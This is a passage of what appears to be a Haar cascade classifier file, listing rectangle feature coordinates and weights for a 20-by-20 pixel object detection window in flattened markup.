0 16 3 2 3. + <_> + + <_> + 1 11 6 4 -1. + <_> + 3 11 2 4 3. + <_> + + <_> + 6 9 9 3 -1. + <_> + 9 9 3 3 3. + <_> + + <_> + 6 0 9 6 -1. + <_> + 6 2 9 2 3. + <_> + + <_> + 8 5 6 6 -1. + <_> + 8 7 6 2 3. + <_> + + <_> + 1 12 2 1 -1. + <_> + 2 12 1 1 2. + <_> + + <_> + 10 10 6 2 -1. + <_> + 12 10 2 2 3. + <_> + + <_> + 13 8 6 6 -1. + <_> + 15 8 2 6 3. + <_> + + <_> + 6 16 6 4 -1. + <_> + 8 16 2 4 3. + <_> + + <_> + 8 0 9 9 -1. + <_> + 8 3 9 3 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 7 10 3 3 -1. + <_> + 8 10 1 3 3. + <_> + + <_> + 9 14 2 2 -1. + <_> + 9 14 1 1 2. + <_> + 10 15 1 1 2. + <_> + + <_> + 9 14 2 2 -1. + <_> + 9 14 1 1 2. + <_> + 10 15 1 1 2. + <_> + + <_> + 0 8 19 12 -1. + <_> + 0 14 19 6 2. + <_> + + <_> + 7 6 9 14 -1. + <_> + 10 6 3 14 3. + <_> + + <_> + 13 8 3 4 -1. + <_> + 14 8 1 4 3. + <_> + + <_> + 4 17 1 3 -1. + <_> + 4 18 1 1 3. + <_> + + <_> + 4 9 6 3 -1. + <_> + 6 9 2 3 3. + <_> + + <_> + 2 18 5 2 -1. + <_> + 2 19 5 1 2. + <_> + + <_> + 7 8 2 2 -1. + <_> + 7 8 1 1 2. + <_> + 8 9 1 1 2. + <_> + + <_> + 7 8 2 2 -1. + <_> + 7 8 1 1 2. + <_> + 8 9 1 1 2. + <_> + + <_> + 5 10 13 2 -1. + <_> + 5 11 13 1 2. + <_> + + <_> + 10 8 1 9 -1. + <_> + 10 11 1 3 3. + <_> + + <_> + 15 8 2 12 -1. + <_> + 15 8 1 6 2. + <_> + 16 14 1 6 2. + <_> + + <_> + 4 0 3 5 -1. + <_> + 5 0 1 5 3. + <_> + + <_> + 12 6 3 7 -1. + <_> + 13 6 1 7 3. + <_> + + <_> + 7 16 6 4 -1. + <_> + 9 16 2 4 3. + <_> + + <_> + 9 16 2 1 -1. + <_> + 10 16 1 1 2. + <_> + + <_> + 6 10 9 2 -1. + <_> + 9 10 3 2 3. + <_> + + <_> + 0 6 15 14 -1. + <_> + 0 13 15 7 2. + <_> + + <_> + 9 1 5 6 -1. + <_> + 9 3 5 2 3. + <_> + + <_> + 3 9 3 4 -1. + <_> + 4 9 1 4 3. + <_> + + <_> + 5 7 3 6 -1. + <_> + 6 7 1 6 3. + <_> + + <_> + 17 16 1 2 -1. + <_> + 17 17 1 1 2. + <_> + + <_> + 9 8 6 12 -1. + <_> + 11 8 2 12 3. + <_> + + <_> + 6 10 6 1 -1. + <_> + 8 10 2 1 3. + <_> + + <_> + 7 17 9 3 -1. + <_> + 10 17 3 3 3. + <_> + + <_> + 14 18 6 2 -1. + <_> + 14 19 6 1 2. + <_> + + <_> + 9 5 3 14 -1. + <_> + 10 5 1 14 3. + <_> + + <_> + 8 16 9 4 -1. + <_> + 11 16 3 4 3. + <_> + + <_> + 0 0 4 14 -1. + <_> + 0 7 4 7 2. + <_> + + <_> + 8 1 6 3 -1. + <_> + 10 1 2 3 3. + <_> + + <_> + 6 8 3 4 -1. + <_> + 7 8 1 4 3. + <_> + + <_> + 4 8 3 4 -1. + <_> + 5 8 1 4 3. + <_> + + <_> + 5 1 6 5 -1. + <_> + 7 1 2 5 3. + <_> + + <_> + 1 18 1 2 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 7 0 6 6 -1. + <_> + 7 2 6 2 3. + <_> + + <_> + 0 18 4 2 -1. + <_> + 0 19 4 1 2. + <_> + + <_> + 12 3 8 12 -1. + <_> + 12 7 8 4 3. + <_> + + <_> + 12 9 3 4 -1. + <_> + 13 9 1 4 3. + <_> + + <_> + 12 8 3 5 -1. + <_> + 13 8 1 5 3. + <_> + + <_> + 16 0 2 1 -1. + <_> + 17 0 1 1 2. + <_> + + <_> + 5 17 1 3 -1. + <_> + 5 18 1 1 3. + <_> + + <_> + 10 2 3 6 -1. + <_> + 10 4 3 2 3. + <_> + + <_> + 4 17 2 3 -1. + <_> + 4 18 2 1 3. + <_> + + <_> + 12 7 1 9 -1. + <_> + 12 10 1 3 3. + <_> + + <_> + 7 6 3 9 -1. + <_> + 8 6 1 9 3. + <_> + + <_> + 17 13 3 6 -1. + <_> + 17 15 3 2 3. + <_> + + <_> + 7 7 3 8 -1. + <_> + 8 7 1 8 3. + <_> + + <_> + 5 0 3 5 -1. + <_> + 6 0 1 5 3. + <_> + + <_> + 4 6 9 8 -1. + <_> + 7 6 3 8 3. + <_> + + <_> + 2 9 3 3 -1. + <_> + 3 9 1 3 3. + <_> + + <_> + 16 18 4 2 -1. + <_> + 16 19 4 1 2. + <_> + + <_> + 17 10 3 10 -1. + <_> + 17 15 3 5 2. + <_> + + <_> + 8 9 6 4 -1. + <_> + 10 9 2 4 3. + <_> + + <_> + 5 2 10 12 -1. + <_> + 5 6 10 4 3. + <_> + + <_> + 6 9 6 3 -1. + <_> + 8 9 2 3 3. + <_> + + <_> + 11 7 3 7 -1. + <_> + 12 7 1 7 3. + <_> + + <_> + 12 8 6 4 -1. + <_> + 14 8 2 4 3. + <_> + + <_> + 14 8 6 5 -1. + <_> + 16 8 2 5 3. + <_> + + <_> + 12 12 2 4 -1. + <_> + 12 14 2 2 2. + <_> + + <_> + 3 15 1 2 -1. + <_> + 3 16 1 1 2. + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 10 0 6 6 -1. + <_> + 12 0 2 6 3. + <_> + + <_> + 10 6 3 8 -1. + <_> + 11 6 1 8 3. + <_> + + <_> + 16 17 1 2 -1. + <_> + 16 18 1 1 2. + <_> + + <_> + 16 16 1 3 -1. + <_> + 16 17 1 1 3. + <_> + + <_> + 11 11 1 2 -1. + <_> + 11 12 1 1 2. + <_> + + <_> + 3 7 6 9 -1. + <_> + 5 7 2 9 3. + <_> + + <_> + 4 18 9 1 -1. + <_> + 7 18 3 1 3. + <_> + + <_> + 0 11 4 9 -1. + <_> + 0 14 4 3 3. + <_> + + <_> + 9 17 6 3 -1. + <_> + 11 17 2 3 3. + <_> + + <_> + 7 8 6 12 -1. + <_> + 9 8 2 12 3. + <_> + + <_> + 6 8 3 4 -1. + <_> + 7 8 1 4 3. + <_> + + <_> + 3 17 1 3 -1. + <_> + 3 18 1 1 3. + <_> + + <_> + 11 9 6 4 -1. + <_> + 13 9 2 4 3. + <_> + + <_> + 6 1 3 2 -1. + <_> + 7 1 1 2 3. + <_> + + <_> + 1 0 2 1 -1. + <_> + 2 0 1 1 2. + <_> + + <_> + 1 0 2 14 -1. + <_> + 1 0 1 7 2. + <_> + 2 7 1 7 2. + <_> + + <_> + 5 5 11 8 -1. + <_> + 5 9 11 4 2. + <_> + + <_> + 9 3 5 6 -1. + <_> + 9 5 5 2 3. + <_> + + <_> + 7 9 5 10 -1. + <_> + 7 14 5 5 2. + <_> + + <_> + 15 10 2 2 -1. + <_> + 16 10 1 2 2. + <_> + + <_> + 0 18 8 2 -1. + <_> + 0 19 8 1 2. + <_> + + <_> + 7 17 1 3 -1. + <_> + 7 18 1 1 3. + <_> + + <_> + 7 2 11 6 -1. + <_> + 7 4 11 2 3. + <_> + + <_> + 8 3 9 3 -1. + <_> + 8 4 9 1 3. + <_> + + <_> + 0 9 2 2 -1. + <_> + 0 10 2 1 2. + <_> + + <_> + 0 5 3 6 -1. + <_> + 0 7 3 2 3. + <_> + + <_> + 6 7 2 2 -1. + <_> + 6 7 1 1 2. + <_> + 7 8 1 1 2. + <_> + + <_> + 7 6 3 6 -1. + <_> + 8 6 1 6 3. + <_> + + <_> + 12 1 6 4 -1. + <_> + 14 1 2 4 3. + <_> + + <_> + 9 11 6 8 -1. + <_> + 11 11 2 8 3. + <_> + + <_> + 17 15 3 3 -1. + <_> + 17 16 3 1 3. + <_> + + <_> + 6 6 3 9 -1. + <_> + 6 9 3 3 3. + <_> + + <_> + 0 5 8 6 -1. + <_> + 0 5 4 3 2. + <_> + 4 8 4 3 2. + <_> + + <_> + 0 6 1 3 -1. + <_> + 0 7 1 1 3. + <_> + + <_> + 17 0 2 6 -1. + <_> + 18 0 1 6 2. + <_> + + <_> + 10 17 6 3 -1. + <_> + 12 17 2 3 3. + <_> + + <_> + 13 15 2 2 -1. + <_> + 13 15 1 1 2. + <_> + 14 16 1 1 2. + <_> + + <_> + 4 0 12 3 -1. + <_> + 4 1 12 1 3. + <_> + + <_> + 5 3 10 9 -1. + <_> + 5 6 10 3 3. + <_> + + <_> + 7 7 9 7 -1. + <_> + 10 7 3 7 3. + <_> + + <_> + 5 8 9 6 -1. + <_> + 8 8 3 6 3. + <_> + + <_> + 0 16 6 2 -1. + <_> + 0 17 6 1 2. + <_> + + <_> + 12 6 7 14 -1. + <_> + 12 13 7 7 2. + <_> + + <_> + 13 7 6 8 -1. + <_> + 15 7 2 8 3. + <_> + + <_> + 2 10 6 3 -1. + <_> + 4 10 2 3 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 7 1 6 2 -1. + <_> + 7 2 6 1 2. + <_> + + <_> + 6 0 6 4 -1. + <_> + 6 2 6 2 2. + <_> + + <_> + 8 18 6 2 -1. + <_> + 10 18 2 2 3. + <_> + + <_> + 7 6 5 2 -1. + <_> + 7 7 5 1 2. + <_> + + <_> + 6 7 3 6 -1. + <_> + 7 7 1 6 3. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 16 8 3 7 -1. + <_> + 17 8 1 7 3. + <_> + + <_> + 0 16 2 3 -1. + <_> + 0 17 2 1 3. + <_> + + <_> + 5 19 6 1 -1. + <_> + 7 19 2 1 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 9 7 6 2 3. + <_> + + <_> + 0 10 2 4 -1. + <_> + 0 12 2 2 2. + <_> + + <_> + 0 9 4 3 -1. + <_> + 2 9 2 3 2. + <_> + + <_> + 1 10 6 9 -1. + <_> + 3 10 2 9 3. + <_> + + <_> + 9 0 6 2 -1. + <_> + 11 0 2 2 3. + <_> + + <_> + 14 1 2 1 -1. + <_> + 15 1 1 1 2. + <_> + + <_> + 0 8 1 4 -1. + <_> + 0 10 1 2 2. + <_> + + <_> + 15 6 2 2 -1. + <_> + 15 6 1 1 2. + <_> + 16 7 1 1 2. + <_> + + <_> + 7 5 3 6 -1. + <_> + 8 5 1 6 3. + <_> + + <_> + 19 17 1 3 -1. + <_> + 19 18 1 1 3. + <_> + + <_> + 7 10 3 1 -1. + <_> + 8 10 1 1 3. + <_> + + <_> + 12 1 6 6 -1. + <_> + 14 1 2 6 3. + <_> + + <_> + 15 5 2 1 -1. + <_> + 16 5 1 1 2. + <_> + + <_> + 8 2 7 4 -1. + <_> + 8 4 7 2 2. + <_> + + <_> + 4 0 14 15 -1. + <_> + 4 5 14 5 3. + <_> + + <_> + 7 8 6 6 -1. + <_> + 9 8 2 6 3. + <_> + + <_> + 11 17 1 3 -1. + <_> + 11 18 1 1 3. + <_> + + <_> + 12 16 2 4 -1. + <_> + 12 16 1 2 2. + <_> + 13 18 1 2 2. + <_> + + <_> + 10 13 2 1 -1. + <_> + 11 13 1 1 2. + <_> + + <_> + 11 8 3 3 -1. + <_> + 12 8 1 3 3. + <_> + + <_> + 2 0 6 8 -1. + <_> + 4 0 2 8 3. + <_> + + <_> + 3 5 6 6 -1. + <_> + 3 5 3 3 2. + <_> + 6 8 3 3 2. + <_> + + <_> + 10 8 3 3 -1. + <_> + 11 8 1 3 3. + <_> + + <_> + 5 17 4 2 -1. + <_> + 5 18 4 1 2. + <_> + + <_> + 8 16 5 2 -1. + <_> + 8 17 5 1 2. + <_> + + <_> + 0 4 3 3 -1. + <_> + 0 5 3 1 3. + <_> + + <_> + 6 3 6 2 -1. + <_> + 8 3 2 2 3. + <_> + + <_> + 4 4 9 3 -1. + <_> + 7 4 3 3 3. + <_> + + <_> + 0 13 1 4 -1. + <_> + 0 15 1 2 2. + <_> + + <_> + 0 17 8 3 -1. + <_> + 0 18 8 1 3. + <_> + + <_> + 6 1 11 6 -1. + <_> + 6 3 11 2 3. + <_> + + <_> + 4 10 6 2 -1. + <_> + 6 10 2 2 3. + <_> + + <_> + 10 8 1 12 -1. + <_> + 10 14 1 6 2. + <_> + + <_> + 5 8 3 4 -1. + <_> + 6 8 1 4 3. + <_> + + <_> + 0 17 1 3 -1. + <_> + 0 18 1 1 3. + <_> + + <_> + 0 17 1 3 -1. + <_> + 0 18 1 1 3. + <_> + + <_> + 13 8 3 4 -1. + <_> + 14 8 1 4 3. + <_> + + <_> + 1 5 5 4 -1. + <_> + 1 7 5 2 2. + <_> + + <_> + 18 14 1 2 -1. + <_> + 18 15 1 1 2. + <_> + + <_> + 13 8 2 4 -1. + <_> + 14 8 1 4 2. + <_> + + <_> + 10 6 6 8 -1. + <_> + 12 6 2 8 3. + <_> + + <_> + 8 6 6 10 -1. + <_> + 10 6 2 10 3. + <_> + + <_> + 17 16 1 3 -1. + <_> + 17 17 1 1 3. + <_> + + <_> + 1 7 2 10 -1. + <_> + 2 7 1 10 2. + <_> + + <_> + 5 9 6 3 -1. + <_> + 7 9 2 3 3. + <_> + + <_> + 0 8 5 12 -1. + <_> + 0 14 5 6 2. + <_> + + <_> + 0 11 1 3 -1. + <_> + 0 12 1 1 3. + <_> + + <_> + 6 16 6 4 -1. + <_> + 8 16 2 4 3. + <_> + + <_> + 0 6 2 6 -1. + <_> + 0 8 2 2 3. + <_> + + <_> + 11 18 2 1 -1. + <_> + 12 18 1 1 2. + <_> + + <_> + 5 1 9 2 -1. + <_> + 5 2 9 1 2. + <_> + + <_> + 0 0 1 2 -1. + <_> + 0 1 1 1 2. + <_> + + <_> + 15 9 3 3 -1. + <_> + 16 9 1 3 3. + <_> + + <_> + 18 16 1 3 -1. + <_> + 18 17 1 1 3. + <_> + + <_> + 11 10 6 1 -1. + <_> + 13 10 2 1 3. + <_> + + <_> + 1 3 4 4 -1. + <_> + 3 3 2 4 2. + <_> + + <_> + 11 2 1 18 -1. + <_> + 11 8 1 6 3. + <_> + + <_> + 9 1 5 12 -1. + <_> + 9 5 5 4 3. + <_> + + <_> + 12 0 8 1 -1. + <_> + 16 0 4 1 2. + <_> + + <_> + 8 6 3 10 -1. + <_> + 9 6 1 10 3. + <_> + + <_> + 19 2 1 6 -1. + <_> + 19 4 1 2 3. + <_> + + <_> + 18 6 2 2 -1. + <_> + 18 7 2 1 2. + <_> + + <_> + 7 7 3 4 -1. + <_> + 8 7 1 4 3. + <_> + + <_> + 5 0 6 5 -1. + <_> + 7 0 2 5 3. + <_> + + <_> + 0 3 7 3 -1. + <_> + 0 4 7 1 3. + <_> + + <_> + 1 6 2 1 -1. + <_> + 2 6 1 1 2. + <_> + + <_> + 4 8 2 10 -1. + <_> + 4 8 1 5 2. + <_> + 5 13 1 5 2. + <_> + + <_> + 2 18 18 2 -1. + <_> + 2 18 9 1 2. + <_> + 11 19 9 1 2. + <_> + + <_> + 2 7 4 4 -1. + <_> + 2 7 2 2 2. + <_> + 4 9 2 2 2. + <_> + + <_> + 17 3 3 4 -1. + <_> + 18 3 1 4 3. + <_> + + <_> + 16 9 2 8 -1. + <_> + 16 9 1 4 2. + <_> + 17 13 1 4 2. + <_> + + <_> + 15 7 1 6 -1. + <_> + 15 9 1 2 3. + <_> + + <_> + 14 2 2 2 -1. + <_> + 14 3 2 1 2. + <_> + + <_> + 17 0 2 3 -1. + <_> + 17 1 2 1 3. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 10 4 4 3 -1. + <_> + 10 5 4 1 3. + <_> + + <_> + 0 2 8 6 -1. + <_> + 4 2 4 6 2. + <_> + + <_> + 7 14 6 6 -1. + <_> + 7 16 6 2 3. + <_> + + <_> + 11 15 2 2 -1. + <_> + 11 16 2 1 2. + <_> + + <_> + 7 1 9 4 -1. + <_> + 10 1 3 4 3. + <_> + + <_> + 9 7 3 7 -1. + <_> + 10 7 1 7 3. + <_> + + <_> + 6 17 2 2 -1. + <_> + 6 17 1 1 2. + <_> + 7 18 1 1 2. + <_> + + <_> + 4 6 3 9 -1. + <_> + 5 6 1 9 3. + <_> + + <_> + 0 10 19 10 -1. + <_> + 0 15 19 5 2. + <_> + + <_> + 5 17 6 1 -1. + <_> + 7 17 2 1 3. + <_> + + <_> + 0 12 6 3 -1. + <_> + 3 12 3 3 2. + <_> + + <_> + 2 5 18 5 -1. + <_> + 8 5 6 5 3. + <_> + + <_> + 1 15 6 4 -1. + <_> + 1 17 6 2 2. + <_> + + <_> + 14 10 6 6 -1. + <_> + 16 10 2 6 3. + <_> + + <_> + 0 14 4 3 -1. + <_> + 0 15 4 1 3. + <_> + + <_> + 1 7 6 11 -1. + <_> + 3 7 2 11 3. + <_> + + <_> + 13 17 7 2 -1. + <_> + 13 18 7 1 2. + <_> + + <_> + 0 14 2 3 -1. + <_> + 0 15 2 1 3. + <_> + + <_> + 0 0 6 2 -1. + <_> + 3 0 3 2 2. + <_> + + <_> + 0 1 6 3 -1. + <_> + 3 1 3 3 2. + <_> + + <_> + 0 8 2 6 -1. + <_> + 0 10 2 2 3. + <_> + + <_> + 1 2 6 14 -1. + <_> + 1 2 3 7 2. + <_> + 4 9 3 7 2. + <_> + + <_> + 17 5 2 2 -1. + <_> + 17 5 1 1 2. + <_> + 18 6 1 1 2. + <_> + + <_> + 11 10 9 4 -1. + <_> + 14 10 3 4 3. + <_> + + <_> + 2 9 12 4 -1. + <_> + 6 9 4 4 3. + <_> + + <_> + 7 10 12 2 -1. + <_> + 11 10 4 2 3. + <_> + + <_> + 2 13 1 2 -1. + <_> + 2 14 1 1 2. + <_> + + <_> + 16 7 4 3 -1. + <_> + 16 8 4 1 3. + <_> + + <_> + 19 16 1 3 -1. + <_> + 19 17 1 1 3. + <_> + + <_> + 18 11 1 2 -1. + <_> + 18 12 1 1 2. + <_> + + <_> + 12 7 8 2 -1. + <_> + 12 7 4 1 2. + <_> + 16 8 4 1 2. + <_> + + <_> + 14 9 2 4 -1. + <_> + 15 9 1 4 2. + <_> + + <_> + 14 2 6 4 -1. + <_> + 14 2 3 2 2. + <_> + 17 4 3 2 2. + <_> + + <_> + 14 0 6 1 -1. + <_> + 17 0 3 1 2. + <_> + + <_> + 3 12 2 1 -1. + <_> + 4 12 1 1 2. + <_> + + <_> + 17 2 3 1 -1. + <_> + 18 2 1 1 3. + <_> + + <_> + 1 16 18 2 -1. + <_> + 7 16 6 2 3. + <_> + + <_> + 2 19 8 1 -1. + <_> + 6 19 4 1 2. + <_> + + <_> + 1 17 4 3 -1. + <_> + 1 18 4 1 3. + <_> + + <_> + 19 13 1 2 -1. + <_> + 19 14 1 1 2. + <_> + + <_> + 9 16 10 4 -1. + <_> + 9 16 5 2 2. + <_> + 14 18 5 2 2. + <_> + + <_> + 12 9 2 4 -1. + <_> + 12 9 1 2 2. + <_> + 13 11 1 2 2. + <_> + + <_> + 19 11 1 9 -1. + <_> + 19 14 1 3 3. + <_> + + <_> + 6 6 14 14 -1. + <_> + 6 13 14 7 2. + <_> + + <_> + 2 17 4 2 -1. + <_> + 2 18 4 1 2. + <_> + + <_> + 0 2 1 3 -1. + <_> + 0 3 1 1 3. + <_> + + <_> + 0 12 1 3 -1. + <_> + 0 13 1 1 3. + <_> + + <_> + 15 15 4 4 -1. + <_> + 15 17 4 2 2. + <_> + + <_> + 2 5 18 7 -1. + <_> + 8 5 6 7 3. + <_> + + <_> + 1 16 5 3 -1. + <_> + 1 17 5 1 3. + <_> + + <_> + 0 4 2 3 -1. + <_> + 0 5 2 1 3. + <_> + + <_> + 0 6 2 6 -1. + <_> + 1 6 1 6 2. + <_> + + <_> + 16 14 4 3 -1. + <_> + 16 15 4 1 3. + <_> + + <_> + 0 0 10 6 -1. + <_> + 0 0 5 3 2. + <_> + 5 3 5 3 2. + <_> + + <_> + 2 2 3 6 -1. + <_> + 3 2 1 6 3. + <_> + + <_> + 2 0 3 10 -1. + <_> + 3 0 1 10 3. + <_> + + <_> + 5 5 2 2 -1. + <_> + 5 6 2 1 2. + <_> + + <_> + 12 6 4 4 -1. + <_> + 12 8 4 2 2. + <_> + + <_> + 13 5 7 3 -1. + <_> + 13 6 7 1 3. + <_> + + <_> + 10 13 1 2 -1. + <_> + 10 14 1 1 2. + <_> + + <_> + 16 16 4 2 -1. + <_> + 18 16 2 2 2. + <_> + + <_> + 16 12 4 7 -1. + <_> + 18 12 2 7 2. + <_> + + <_> + 16 17 1 3 -1. + <_> + 16 18 1 1 3. + <_> + + <_> + 19 9 1 3 -1. + <_> + 19 10 1 1 3. + <_> + + <_> + 18 7 2 6 -1. + <_> + 19 7 1 6 2. + <_> + + <_> + 8 1 3 4 -1. + <_> + 9 1 1 4 3. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 2 10 2 -1. + <_> + 9 2 5 2 2. + <_> + + <_> + 2 12 8 4 -1. + <_> + 2 12 4 2 2. + <_> + 6 14 4 2 2. + <_> + + <_> + 0 4 7 3 -1. + <_> + 0 5 7 1 3. + <_> + + <_> + 14 14 3 3 -1. + <_> + 15 14 1 3 3. + <_> + + <_> + 0 3 4 3 -1. + <_> + 2 3 2 3 2. + <_> + + <_> + 1 0 2 7 -1. + <_> + 2 0 1 7 2. + <_> + + <_> + 15 16 4 4 -1. + <_> + 15 18 4 2 2. + <_> + + <_> + 5 8 12 4 -1. + <_> + 5 10 12 2 2. + <_> + + <_> + 3 17 1 2 -1. + <_> + 3 18 1 1 2. + <_> + + <_> + 6 1 3 4 -1. + <_> + 7 1 1 4 3. + <_> + + <_> + 6 2 3 4 -1. + <_> + 7 2 1 4 3. + <_> + + <_> + 6 8 9 12 -1. + <_> + 9 8 3 12 3. + <_> + + <_> + 8 1 8 6 -1. + <_> + 8 3 8 2 3. + <_> + + <_> + 14 2 6 3 -1. + <_> + 17 2 3 3 2. + <_> + + <_> + 0 6 1 3 -1. + <_> + 0 7 1 1 3. + <_> + + <_> + 10 0 10 2 -1. + <_> + 15 0 5 2 2. + <_> + + <_> + 11 0 3 2 -1. + <_> + 12 0 1 2 3. + <_> + + <_> + 3 19 10 1 -1. + <_> + 8 19 5 1 2. + <_> + + <_> + 0 4 7 16 -1. + <_> + 0 12 7 8 2. + <_> + + <_> + 2 16 1 3 -1. + <_> + 2 17 1 1 3. + <_> + + <_> + 7 8 12 6 -1. + <_> + 11 8 4 6 3. + <_> + + <_> + 14 9 6 7 -1. + <_> + 16 9 2 7 3. + <_> + + <_> + 12 17 6 1 -1. + <_> + 14 17 2 1 3. + <_> + + <_> + 16 1 3 1 -1. + <_> + 17 1 1 1 3. + <_> + + <_> + 0 17 8 2 -1. + <_> + 0 17 4 1 2. + <_> + 4 18 4 1 2. + <_> + + <_> + 17 0 2 1 -1. + <_> + 18 0 1 1 2. + <_> + + <_> + 4 15 6 5 -1. + <_> + 6 15 2 5 3. + <_> + + <_> + 7 2 8 2 -1. + <_> + 7 3 8 1 2. + <_> + + <_> + 4 1 8 4 -1. + <_> + 4 3 8 2 2. + <_> + + <_> + 5 19 2 1 -1. + <_> + 6 19 1 1 2. + <_> + + <_> + 5 19 2 1 -1. + <_> + 6 19 1 1 2. + <_> + + <_> + 16 17 1 3 -1. + <_> + 16 18 1 1 3. + <_> + + <_> + 0 11 2 3 -1. + <_> + 1 11 1 3 2. + <_> + + <_> + 0 19 4 1 -1. + <_> + 2 19 2 1 2. + <_> + + <_> + 0 18 4 2 -1. + <_> + 2 18 2 2 2. + <_> + + <_> + 2 17 1 3 -1. + <_> + 2 18 1 1 3. + <_> + + <_> + 5 7 11 2 -1. + <_> + 5 8 11 1 2. + <_> + + <_> + 9 2 4 10 -1. + <_> + 9 7 4 5 2. + <_> + + <_> + 0 2 4 3 -1. + <_> + 0 3 4 1 3. + <_> + + <_> + 10 19 10 1 -1. + <_> + 15 19 5 1 2. + <_> + + <_> + 11 17 8 3 -1. + <_> + 15 17 4 3 2. + <_> + + <_> + 8 19 3 1 -1. + <_> + 9 19 1 1 3. + <_> + + <_> + 14 0 3 4 -1. + <_> + 15 0 1 4 3. + <_> + + <_> + 10 6 4 3 -1. + <_> + 10 7 4 1 3. + <_> + + <_> + 0 8 3 2 -1. + <_> + 0 9 3 1 2. + <_> + + <_> + 7 12 3 6 -1. + <_> + 7 14 3 2 3. + <_> + + <_> + 1 18 1 2 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 0 12 4 4 -1. + <_> + 2 12 2 4 2. + <_> + + <_> + 1 8 6 7 -1. + <_> + 3 8 2 7 3. + <_> + + <_> + 0 8 4 5 -1. + <_> + 2 8 2 5 2. + <_> + + <_> + 19 16 1 3 -1. + <_> + 19 17 1 1 3. + <_> + + <_> + 1 5 18 6 -1. + <_> + 7 5 6 6 3. + <_> + + <_> + 2 15 4 2 -1. + <_> + 2 16 4 1 2. + <_> + + <_> + 18 6 2 11 -1. + <_> + 19 6 1 11 2. + <_> + + <_> + 0 12 2 6 -1. + <_> + 0 14 2 2 3. + <_> + + <_> + 12 5 3 2 -1. + <_> + 12 6 3 1 2. + <_> + + <_> + 1 3 2 3 -1. + <_> + 1 4 2 1 3. + <_> + + <_> + 16 14 4 4 -1. + <_> + 16 16 4 2 2. + <_> + + <_> + 6 8 12 5 -1. + <_> + 10 8 4 5 3. + <_> + + <_> + 13 7 2 7 -1. + <_> + 14 7 1 7 2. + <_> + + <_> + 1 8 2 6 -1. + <_> + 2 8 1 6 2. + <_> + + <_> + 15 0 3 7 -1. + <_> + 16 0 1 7 3. + <_> + + <_> + 4 2 6 2 -1. + <_> + 6 2 2 2 3. + <_> + + <_> + 0 9 20 9 -1. + <_> + 0 12 20 3 3. + <_> + + <_> + 10 14 2 2 -1. + <_> + 10 15 2 1 2. + <_> + + <_> + 6 5 10 4 -1. + <_> + 6 7 10 2 2. + <_> + + <_> + 6 1 5 9 -1. + <_> + 6 4 5 3 3. + <_> + + <_> + 16 18 2 2 -1. + <_> + 16 18 1 1 2. + <_> + 17 19 1 1 2. + <_> + + <_> + 0 14 2 4 -1. + <_> + 0 16 2 2 2. + <_> + + <_> + 10 8 2 5 -1. + <_> + 11 8 1 5 2. + <_> + + <_> + 3 7 12 7 -1. + <_> + 7 7 4 7 3. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 1 0 4 4 -1. + <_> + 3 0 2 4 2. + <_> + + <_> + 0 0 6 8 -1. + <_> + 2 0 2 8 3. + <_> + + <_> + 0 0 2 1 -1. + <_> + 1 0 1 1 2. + <_> + + <_> + 0 0 3 3 -1. + <_> + 0 1 3 1 3. + <_> + + <_> + 5 4 2 4 -1. + <_> + 5 6 2 2 2. + <_> + + <_> + 2 10 9 1 -1. + <_> + 5 10 3 1 3. + <_> + + <_> + 1 17 1 3 -1. + <_> + 1 18 1 1 3. + <_> + + <_> + 0 17 2 3 -1. + <_> + 0 18 2 1 3. + <_> + + <_> + 0 15 16 3 -1. + <_> + 8 15 8 3 2. + <_> + + <_> + 0 5 4 1 -1. + <_> + 2 5 2 1 2. + <_> + + <_> + 1 0 6 20 -1. + <_> + 3 0 2 20 3. + <_> + + <_> + 2 5 4 6 -1. + <_> + 2 5 2 3 2. + <_> + 4 8 2 3 2. + <_> + + <_> + 9 16 6 3 -1. + <_> + 11 16 2 3 3. + <_> + + <_> + 11 17 6 1 -1. + <_> + 14 17 3 1 2. + <_> + + <_> + 3 17 15 2 -1. + <_> + 8 17 5 2 3. + <_> + + <_> + 18 0 2 3 -1. + <_> + 18 1 2 1 3. + <_> + + <_> + 13 1 7 4 -1. + <_> + 13 3 7 2 2. + <_> + + <_> + 13 6 4 4 -1. + <_> + 13 6 2 2 2. + <_> + 15 8 2 2 2. + <_> + + <_> + 17 6 3 4 -1. + <_> + 17 8 3 2 2. + <_> + + <_> + 14 9 2 2 -1. + <_> + 15 9 1 2 2. + <_> + + <_> + 17 17 1 3 -1. + <_> + 17 18 1 1 3. + <_> + + <_> + 3 19 8 1 -1. + <_> + 7 19 4 1 2. + <_> + + <_> + 0 9 3 6 -1. + <_> + 0 12 3 3 2. + <_> + + <_> + 4 7 15 5 -1. + <_> + 9 7 5 5 3. + <_> + + <_> + 6 9 9 5 -1. + <_> + 9 9 3 5 3. + <_> + + <_> + 8 1 6 2 -1. + <_> + 10 1 2 2 3. + <_> + + <_> + 4 0 12 2 -1. + <_> + 10 0 6 2 2. + <_> + + <_> + 7 0 10 3 -1. + <_> + 12 0 5 3 2. + <_> + + <_> + 5 0 9 6 -1. + <_> + 5 2 9 2 3. + <_> + + <_> + 8 3 6 4 -1. + <_> + 8 5 6 2 2. + <_> + + <_> + 17 4 2 3 -1. + <_> + 17 5 2 1 3. + <_> + + <_> + 5 2 4 3 -1. + <_> + 5 3 4 1 3. + <_> + + <_> + 5 9 2 6 -1. + <_> + 6 9 1 6 2. + <_> + + <_> + 14 10 2 6 -1. + <_> + 15 10 1 6 2. + <_> + + <_> + 7 4 3 3 -1. + <_> + 7 5 3 1 3. + <_> + + <_> + 12 4 8 2 -1. + <_> + 12 4 4 1 2. + <_> + 16 5 4 1 2. + <_> + + <_> + 15 8 1 6 -1. + <_> + 15 10 1 2 3. + <_> + + <_> + 4 17 11 3 -1. + <_> + 4 18 11 1 